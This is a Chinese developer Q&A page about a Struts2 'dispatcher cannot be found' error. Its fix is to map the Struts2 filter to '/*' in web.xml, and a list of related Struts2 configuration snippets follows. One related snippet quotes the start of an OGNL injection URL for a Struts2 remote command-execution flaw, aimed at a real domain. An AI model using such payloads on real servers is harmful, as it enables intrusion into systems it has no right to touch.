异常:
严重: Servlet.service() for servlet jsp threw exception
The Struts dispatcher cannot be found. This is usually caused by using Struts tags without the associated filter. Struts tags are only usable when the request has passed through its servlet filter, which initializes the Struts dispatcher needed for this tag. - [unknown location]
at org.apache.struts2.views.jsp.TagUtils.getStack(TagUtils.java:60)
at org.apache.struts2.views.jsp.StrutsBodyTagSupport.getStack(StrutsBodyTagSupport.java:44)
at org.apache.struts2.views.jsp.ComponentTagSupport.doStartTag(ComponentTagSupport.java:48)
at org.apache.jsp.login_jsp._jspx_meth_s_005fform_005f0(login_jsp.java:108)
at org.apache.jsp.login_jsp._jspService(login_jsp.java:79)
at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:803)
at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:393)
at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:320)
at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:803)
解答:
web.xml中struts2过滤器中没有拦截该页面请求,导致jsp页面中的struts2标签无法解析。修改web.xml中struts2过滤器的匹配默认为"/*"即可
分享到:
相关推荐
org.apache.struts2.dispatcher.FilterDispatcher
The org.apache.struts2.dispatcher.multipart.MultiPartRequest parser implementation for a multipart request (file upload) 专为multipart请求信息使用的org.apache.struts2.dispatcher.multipart....
at org.apache.struts2.dispatcher.Dispatcher.cleanUpRequest(Dispatcher.java:837) at org.apache.struts2.dispatcher.ng.PrepareOperations.cleanupRequest(PrepareOperations.java:103) at org.apache.struts2....
org.apache.struts2, org.apache.struts2.components, org.apache.struts2.components.template, org.apache.struts2.config, org.apache.struts2.dispatcher, org.apache.struts2.dispatcher.mapper, org.apache....
针对Struts2.5.2最新版本的配置进行了梳理,通过一步步的步骤和发生的问题点的解决,完成对Struts2.5.2的配置。
that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different ...
tomcat报错Unable to find 'struts multipart saveDir解决
<bean type="org.apache.struts2.dispatcher.mapper.ActionMapper" name="myDefaultActionMapper" class="com.struts2.MyDefaultActionMapper" /> <constant name="struts.mapper.class" value=...
org.apache.struts2.dispatcher.ServletActionRedirectResult 16 plainText 16 显示源文件内容,如文件源码 16 org.apache.struts2.dispatcher.PlainTextResult 16 freemarker 16 处理FreeMarker模板 16 org.apache....
Laravel开发-dispatcher Laravel 5基于事件的请求和命令调度程序
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher, 新版本中都是过时的了,采取该过滤器, <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter。
org.apache.struts2.dispatcher.FilterDispatcher dispatcher这个单词写错了。 3、LoginAction.java这个文件中的方法写错了。public String execute(),excecute这个单词写错了。 4、struts.xml中的...
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class> <!-- 引用个具体类文件 --> </filter> <filter-mapping> <filter-name>struts2</filter-name> ...
struts.diSPAtcher.parametersWorkaround 对于某些Java EE服务器,不支持HttpServlet Request调用getParameterMap()方法,此时可以设置该属性值为true来解决该问题.该属性的默认值是false.对于 WebLogic、Orion和OC4J...
struts2官网2.3版本的最后一个版本,能够...注意此版本的dispatcher是org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter。详见https://struts.apache.org/docs/struts-23-to-25-migration.html。
org.apache.struts2.dispatcher.ng This package contains a reimagining of the traditional Struts filter dispatchers. org.apache.struts2.dispatcher.ng.filter org.apache.struts2.dispatcher.ng.listener ...
Apache的Struts2框架最近出了一个很严重的漏洞,可以直接执行系统命令 http://www.163.com?%28%27\u0023_memberAccess[\%27allowStaticMethodAccess\%27]%27%29%28meh%29=true&%28aaa%29%28%28%27\u0023context[\%27...
<filter><filter-name>struts2</filter-name><filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class></filter><filter-mapping><filter-name>struts2</filter-name>...
<?xml version="1.0" encoding="UTF-8"?... org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter <!-- 拦截所有的url --> <filter-name>struts2 <url-pattern>/* </web-app>
传智播客struts2开源框架全程跟踪学习笔记,可以有效的提高对struts2框架的新认识和使用,更有效的提高开发效率!